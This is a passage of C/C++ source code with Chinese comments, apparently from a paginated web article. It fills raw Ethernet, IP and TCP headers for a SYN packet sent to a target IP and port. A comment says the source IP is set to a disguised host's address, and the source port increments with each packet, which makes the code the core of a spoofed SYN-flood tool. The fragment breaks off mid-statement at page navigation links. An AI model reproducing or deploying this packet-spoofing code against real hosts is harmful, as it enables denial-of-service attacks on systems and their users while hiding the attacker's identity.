|
TCP_OPTION tcp_option={0};
PSD_HEADER psd_header={0};
//填充以太头部:
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包
//填充IP头部:
ip_header.m_ver_hlen=(4<<4|5);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP; //高层协议为TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP); //源IP填为伪装主机的IP
ip_header.m_dIP=inet_addr(TARGET_IP); //目的IP
ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));
//填充TCP头部以及TCP选项:
tcp_header.m_dport=htons(targetPort);
tcp_header.m_sport=htons(sourcePort++);
tcp_header.m_seq=::GetTickCount(); //初始化序列号
tcp_header.m_ack=0;
tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);
tcp_header.m_res2_flag=2; //标识为SYN包
tcp_header.m_win=htons(16384);
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
tcp_option.unKnown=htons(516);
tcp_option.maxSegSize=htons(1460); //MSS,以太网一般为1460
tcp_option.no1=1;
tcp_option.no2=1;
tcp_option.SACK=htons(1026);
//计算TCP校验和:
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sI 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |